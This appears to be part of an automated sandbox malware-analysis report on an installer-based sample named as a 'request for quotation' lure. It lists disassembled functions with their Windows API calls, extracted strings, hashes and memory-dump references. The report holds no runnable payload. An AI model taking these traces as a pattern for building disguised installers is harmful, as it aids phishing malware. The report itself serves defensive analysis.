Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 184305955-0
Opcode ID: bcef63d1befa62095ffb28f8decf7ccef4978ac163dab3c6641283cf9af83911
Instruction ID: 25e1393ee42f6df426570fd4a537ecf3dcaf9ce603c4882d15cf919a8637c385
Opcode Fuzzy Hash: bcef63d1befa62095ffb28f8decf7ccef4978ac163dab3c6641283cf9af83911
Instruction Fuzzy Hash: 2FC1A071A08205BBDB206F61ED49E3B3A68FB89745F40053EF601B15F1CB799852DB2E

Function 004038B4 Relevance: 40.5, APIs: 15, Strings: 8, Instructions: 216stringregistrylibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00406254: GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
Part of subcall function 00406254: LoadLibraryA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406271
Part of subcall function 00406254: GetProcAddress.KERNEL32(00000000,?), ref: 00406282

lstrcatW.KERNEL32(00436000,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000,00000006,00436800,771B3420,00000000,00434000), ref: 00403935
lstrlenW.KERNEL32(00427180,?,?,?,00427180,00000000,00434800,00436000,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000,00000006,00436800), ref: 004039B5
lstrcmpiW.KERNEL32(00427178,.exe,00427180,?,?,?,00427180,00000000,00434800,00436000,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000), ref: 004039C8
GetFileAttributesW.KERNEL32(00427180), ref: 004039D3
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,00434800), ref: 00403A1C

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

RegisterClassW.USER32(00428180), ref: 00403A59
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403A71
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403AA6
ShowWindow.USER32(00000005,00000000), ref: 00403ADC
LoadLibraryW.KERNEL32(RichEd20), ref: 00403AED
LoadLibraryW.KERNEL32(RichEd32), ref: 00403AF8
GetClassInfoW.USER32(00000000,RichEdit20W,00428180), ref: 00403B08
GetClassInfoW.USER32(00000000,RichEdit,00428180), ref: 00403B15
RegisterClassW.USER32(00428180), ref: 00403B1E
DialogBoxParamW.USER32(?,00000000,00403C57,00000000), ref: 00403B3D

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 004038E8
RichEdit20W, xrefs: 00403B00, 00403B06
RichEd32, xrefs: 00403AF3
.exe, xrefs: 004039C2
RichEdit, xrefs: 00403B0F
RichEd20, xrefs: 00403AE8
.DEFAULT\Control Panel\International, xrefs: 00403920
_Nb, xrefs: 00403A38, 00403AA0

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 914957316-1115850852
Opcode ID: d0fa4835c9c244ef81a80b769fa25e5675a0a47ce1ec59f3ecf61db25a6a7c64
Instruction ID: b862c1471ebdc097eb7bd7ac0b5924faedec86185335dcace1f032bfb9465ac2
Opcode Fuzzy Hash: d0fa4835c9c244ef81a80b769fa25e5675a0a47ce1ec59f3ecf61db25a6a7c64
Instruction Fuzzy Hash: 5561B670604201BAE720AF669C46E3B3A6CEB45759F40453FF945B62E2CB786D02CA2D

Function 004042CC Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040436A
GetDlgItem.USER32(?,000003E8), ref: 0040437E
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040439B
GetSysColor.USER32(?), ref: 004043AC
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004043BA
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004043C8
lstrlenW.KERNEL32(?), ref: 004043CD
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004043DA
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043EF
GetDlgItem.USER32(?,0000040A), ref: 00404448
SendMessageW.USER32(00000000), ref: 0040444F
GetDlgItem.USER32(?,000003E8), ref: 0040447A
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004044BD
LoadCursorW.USER32(00000000,00007F02), ref: 004044CB
SetCursor.USER32(00000000), ref: 004044CE
ShellExecuteW.SHELL32(0000070B,open,00427180,00000000,00000000,00000001), ref: 004044E3
LoadCursorW.USER32(00000000,00007F00), ref: 004044EF
SetCursor.USER32(00000000), ref: 004044F2
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404521
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404533

Strings

CB@, xrefs: 004044D8
N, xrefs: 00404468
open, xrefs: 004044DB

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: CB@$N$open
API String ID: 3615053054-4029390422
Opcode ID: 2203d86e9aedfb02f953f7f44e7e92c7d68489696ba88c708ebc1c14ae09885d
Instruction ID: ed67d3ceb40554f4a20f9fe4cecdec295417cbe43b6f72f0b7bb3cee00e3d4b7
Opcode Fuzzy Hash: 2203d86e9aedfb02f953f7f44e7e92c7d68489696ba88c708ebc1c14ae09885d
Instruction Fuzzy Hash: 037173B1A00209BFDB109F64DD45A6A7B69FB84315F00813AF705BA2D0C778AD51DF99

Function 00405C08 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 136stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00425D70,NUL,?,00000000,?,?,?,00405DAC,?,?,00000001,00405924,?,00000000,000000F1,?), ref: 00405C18
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,?,?,?,00405DAC,?,?,00000001,00405924,?,00000000,000000F1,?), ref: 00405C3C
GetShortPathNameW.KERNEL32(00000000,00425D70,00000400), ref: 00405C45

Part of subcall function 00405ABB: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405ACB
Part of subcall function 00405ABB: lstrlenA.KERNEL32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AFD

GetShortPathNameW.KERNEL32(?,00426570,00000400), ref: 00405C62
wsprintfA.USER32 ref: 00405C80
GetFileSize.KERNEL32(00000000,00000000,00426570,C0000000,00000004,00426570,?,?,?,?,?), ref: 00405CBB
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00405CCA
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 00405D02
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,00000000,00425970,00000000,-0000000A,00409544,00000000,[Rename],00000000,00000000,00000000), ref: 00405D58
WriteFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00405D6A
GlobalFree.KERNEL32(00000000), ref: 00405D71
CloseHandle.KERNEL32(00000000), ref: 00405D78

Part of subcall function 00405B56: GetFileAttributesW.KERNEL32(00000003,00402DFF,00437800,80000000,00000003), ref: 00405B5A
Part of subcall function 00405B56: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C

Strings

[Rename], xrefs: 00405CEA, 00405CFC
%ls=%ls, xrefs: 00405C76
peB, xrefs: 00405C57
p]B, xrefs: 00405C0D
NUL, xrefs: 00405C12

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizeWritewsprintf
String ID: %ls=%ls$NUL$[Rename]$p]B$peB
API String ID: 1265525490-3322868524
Opcode ID: 3c8f8921d5db17dcea38d37436245cad2ed6acf29c8dc53bbb3a8225ee1bc969
Instruction ID: dd28b8746f6bac9015e409c36d2f5baf321d2fce784c03eddf9b1c2e257c4ca8
Opcode Fuzzy Hash: 3c8f8921d5db17dcea38d37436245cad2ed6acf29c8dc53bbb3a8225ee1bc969
Instruction Fuzzy Hash: 9741E271604B19BBD2216B715C4DF6B3B6CEF41754F14453BBA01B62D2EA3CA8018EBD

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,004281E0,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 0e57b95dfdd8f299c9740ed801e1ea7310e3bc8a8783e459bd01da44e8a50aec
Instruction ID: 126a239e0572de30fb8c34ac70cebce50066b6690b2383a097db7944ba687981
Opcode Fuzzy Hash: 0e57b95dfdd8f299c9740ed801e1ea7310e3bc8a8783e459bd01da44e8a50aec
Instruction Fuzzy Hash: DA419A71804249AFCB058FA5DD459BFBFB9FF48310F00802AF951AA1A0C738EA51DFA5

Function 004045CA Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 269stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404619
SetWindowTextW.USER32(00000000,?), ref: 00404643
SHBrowseForFolderW.SHELL32(?), ref: 004046F4
CoTaskMemFree.OLE32(00000000), ref: 004046FF
lstrcmpiW.KERNEL32(00427180,004226D0,00000000,?,?), ref: 00404731
lstrcatW.KERNEL32(?,00427180), ref: 0040473D
SetDlgItemTextW.USER32(?,000003FB,?), ref: 0040474F

Part of subcall function 004056AA: GetDlgItemTextW.USER32(?,?,00000400,00404786), ref: 004056BD

Part of subcall function 0040617E: CharNextW.USER32(?,*?|<>/":,00000000,00434000,00436800,00436800,00000000,00403332,00436800,771B3420,00403512), ref: 004061E1
Part of subcall function 0040617E: CharNextW.USER32(?,?,?,00000000), ref: 004061F0
Part of subcall function 0040617E: CharNextW.USER32(?,00434000,00436800,00436800,00000000,00403332,00436800,771B3420,00403512), ref: 004061F5
Part of subcall function 0040617E: CharPrevW.USER32(?,?,00436800,00436800,00000000,00403332,00436800,771B3420,00403512), ref: 00406208

GetDiskFreeSpaceW.KERNEL32(004206A0,?,?,0000040F,?,004206A0,004206A0,?,00000000,004206A0,?,?,000003FB,?), ref: 00404810
MulDiv.KERNEL32(?,0000040F,00000400), ref: 0040482B
SetDlgItemTextW.USER32(00000000,00000400,00420690), ref: 004048B1

Strings

A, xrefs: 004046ED

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: A
API String ID: 2246997448-3554254475
Opcode ID: 7bae5448d950fa7fc9b780a264b0000045a755fe0574635acf906d6e28ab15ff
Instruction ID: fc6e5784adbf23f3bf0ca4204261aafad130db7b69f5cfc08d06a9dfd3cb4e02
Opcode Fuzzy Hash: 7bae5448d950fa7fc9b780a264b0000045a755fe0574635acf906d6e28ab15ff
Instruction Fuzzy Hash: 1B916FB2900209ABDB11AFA1CC85AAF77B8EF85354F10847BF701B72D1D77C99418B69

Function 00402DBC Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 203memoryCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402DD0
GetModuleFileNameW.KERNEL32(00000000,00437800,00000400), ref: 00402DEC

Part of subcall function 00405B56: GetFileAttributesW.KERNEL32(00000003,00402DFF,00437800,80000000,00000003), ref: 00405B5A
Part of subcall function 00405B56: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C

GetFileSize.KERNEL32(00000000,00000000,00438000,00000000,00435800,00435800,00437800,00437800,80000000,00000003), ref: 00402E35
GlobalAlloc.KERNEL32(00000040,00409230), ref: 00402F7C

Strings

soft, xrefs: 00402EAC
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00402FC5
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403013
Null, xrefs: 00402EB5
Inst, xrefs: 00402EA3
Error launching installer, xrefs: 00402E0C

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-787788815
Opcode ID: 5ecfa0d291b3e3150ad885ea31258d267a33d06369396b94df2ca3b34bcc353b
Instruction ID: 37f794aabb7b6cc22e4429bd010eaec377b65274dead3bcbf73b1a6bf24b43e2
Opcode Fuzzy Hash: 5ecfa0d291b3e3150ad885ea31258d267a33d06369396b94df2ca3b34bcc353b
Instruction Fuzzy Hash: FB610571940205ABDB20AF65DD89BAE3AB8EB04359F20417BF505B32D1C7BC9E41DB9C

Function 00405F0C Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 207stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,004216B0,?,004051CB,004216B0,00000000,00000000,00000000), ref: 00405FCF
GetSystemDirectoryW.KERNEL32(00427180,00000400), ref: 0040604D
GetWindowsDirectoryW.KERNEL32(00427180,00000400), ref: 00406060
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 0040609C
SHGetPathFromIDListW.SHELL32(?,00427180), ref: 004060AA
CoTaskMemFree.OLE32(?), ref: 004060B5
lstrcatW.KERNEL32(00427180,\Microsoft\Internet Explorer\Quick Launch), ref: 004060D9
lstrlenW.KERNEL32(00427180,00000000,004216B0,?,004051CB,004216B0,00000000,00000000,00000000), ref: 00406133

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040601B
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004060D3

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-730719616
Opcode ID: 6742d19b0b1c5090879c3cfba661a75a2238e305d4f85b0b169f5eea2b4c5ff0
Instruction ID: 201fcfe404e7502d8ff22bbbb8bc1db0d7d07a9235330109bbd625d5d43c8b09
Opcode Fuzzy Hash: 6742d19b0b1c5090879c3cfba661a75a2238e305d4f85b0b169f5eea2b4c5ff0
Instruction Fuzzy Hash: 93612371A40516EBDB209F24CC44AAF37A5EF00314F51813BE546BA2E0D73D8AA2CB4E

Function 00404196 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004041B3
GetSysColor.USER32(00000000), ref: 004041CF
SetTextColor.GDI32(?,00000000), ref: 004041DB
SetBkMode.GDI32(?,?), ref: 004041E7
GetSysColor.USER32(?), ref: 004041FA
SetBkColor.GDI32(?,?), ref: 0040420A
DeleteObject.GDI32(?), ref: 00404224
CreateBrushIndirect.GDI32(?), ref: 0040422E

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction ID: 80eb99ce468fafd782bf4c41e5e54efb1aa93a8fb2f83beca87368335cd0d861
Opcode Fuzzy Hash: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction Fuzzy Hash: B221C6B1904744ABCB219F68DD08B4B7BF8AF40710F04896DF951F26E1C738E944CB65

Function 00402573 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004025DB
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402616
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402639
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040264F

Part of subcall function 00405BD9: ReadFile.KERNEL32(00409230,00000000,00000000,00000000,00000000,00413E78,0040BE78,0040330C,00409230,00409230,004031FE,00413E78,00004000,?,00000000,?), ref: 00405BED

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

Strings

9, xrefs: 004025BE

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: File$ByteCharMultiReadWide$Pointerwsprintf
String ID: 9
API String ID: 1149667376-2366072709
Opcode ID: 5bf3696fc1b43342bc1c7e4b21794d67987bb543e605c58fae928a8d5a7d4e33
Instruction ID: 2cb5264777941c8734ead6492e5e892e31f06070e548dc8493562ac8cc7c1c9a
Opcode Fuzzy Hash: 5bf3696fc1b43342bc1c7e4b21794d67987bb543e605c58fae928a8d5a7d4e33
Instruction Fuzzy Hash: B551E971E04209ABDF24DF94DE88AAEB779FF04304F50443BE501B62D0D7B99A42CB69

Function 004027B5 Relevance: 10.6, APIs: 7, Instructions: 89memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 00402809
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,?,000000F0), ref: 00402825
GlobalFree.KERNEL32(FFFFFD66), ref: 0040285E
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402870
GlobalFree.KERNEL32(00000000), ref: 00402877
CloseHandle.KERNEL32(?,?,?,?,?,?,000000F0), ref: 0040288F
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 004028A3

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: 120950de23c25218e4c137f2e62925978e01813800c9cf407bd4cdabe4d04e4e
Instruction ID: c52f99eb37a0f9a93b384f1dc8ea19ce670fa72408cf6cd502fc0ac50d833161
Opcode Fuzzy Hash: 120950de23c25218e4c137f2e62925978e01813800c9cf407bd4cdabe4d04e4e
Instruction Fuzzy Hash: AC31A072C00118BBDF11AFA5CE49DAF7E79EF05364F20423AF510762E1C6796E418BA9

Function 00405194 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

